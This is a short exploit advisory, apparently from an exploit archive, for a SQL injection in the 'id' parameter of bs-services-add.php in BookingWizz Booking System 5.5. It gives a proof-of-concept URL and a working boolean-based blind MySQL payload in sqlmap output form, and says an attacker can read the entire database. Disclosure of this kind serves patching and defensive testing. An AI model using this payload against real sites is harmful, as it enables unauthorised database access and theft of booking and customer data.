BookingWizz Booking System 5.5 - 'id' SQL Injection

# Exploit Title: BookingWizz Booking System 5.5 - 'bs-services-add.php' SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/booking-system/87919
# Version: 5.5
# Category: Webapps
# Tested on: Kali linux
# Description : The service editing on the admin panel is vulnerable.
An attacker can exploit the entire database using this vulnerable in the
'id' parameter.
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# PoC : SQLi :

http://www.site.com/booking/bs-services-add.php?id=2

Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (6769=6769) THEN 6769 ELSE 6769*(SELECT
6769 FROM INFORMATION_SCHEMA.PLUGINS) END))

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